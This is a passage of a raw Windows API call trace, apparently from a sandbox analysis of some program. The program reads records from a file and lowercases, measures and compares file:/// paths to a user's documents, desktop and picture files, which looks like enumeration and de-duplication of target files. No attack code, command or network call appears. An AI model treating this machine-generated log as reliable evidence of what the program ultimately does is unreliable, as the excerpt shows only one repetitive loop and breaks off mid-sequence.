	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.846] wcslen (_String="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 0x34
	[0098.846] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
	[0098.846] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.846] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.846] SetFilePointer (in: hFile=0xbc, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
	[0098.846] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.846] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/lGniBneWsYc7Osqccn4.docx" | out: _Str="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx"
	[0098.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 61
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.846] wcscmp (_String1="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.846] wcslen (_String="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 0x3c
	[0098.846] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
	[0098.846] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.846] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.846] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
	[0098.847] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x180, lpOverlapped=0x0) returned 1
	[0098.847] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/LO%20AG96uQe3kgrd-cV.docx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx"
	[0098.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 118
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.847] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 0x75
	[0098.847] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
	[0098.847] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.847] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.847] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
	[0098.847] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.847] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/VKN5CS.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods"
	[0098.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 66
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.847] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.848] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 0x41
	[0098.848] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080
	[0098.848] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.848] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.848] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080
	[0098.848] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.848] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/EA%20ZCRgZ.pps" | out: _Str="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps"
	[0098.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 51
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.848] wcslen (_String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 0x32
	[0098.848] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
	[0098.848] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.848] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.848] SetFilePointer (in: hFile=0xbc, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
	[0098.848] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.848] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/7BmJAQAPh.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv"
	[0098.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 48
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0098.848] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.849] wcslen (_String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 0x2f
	[0098.849] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280
	[0098.849] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.849] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.849] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280
	[0098.849] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
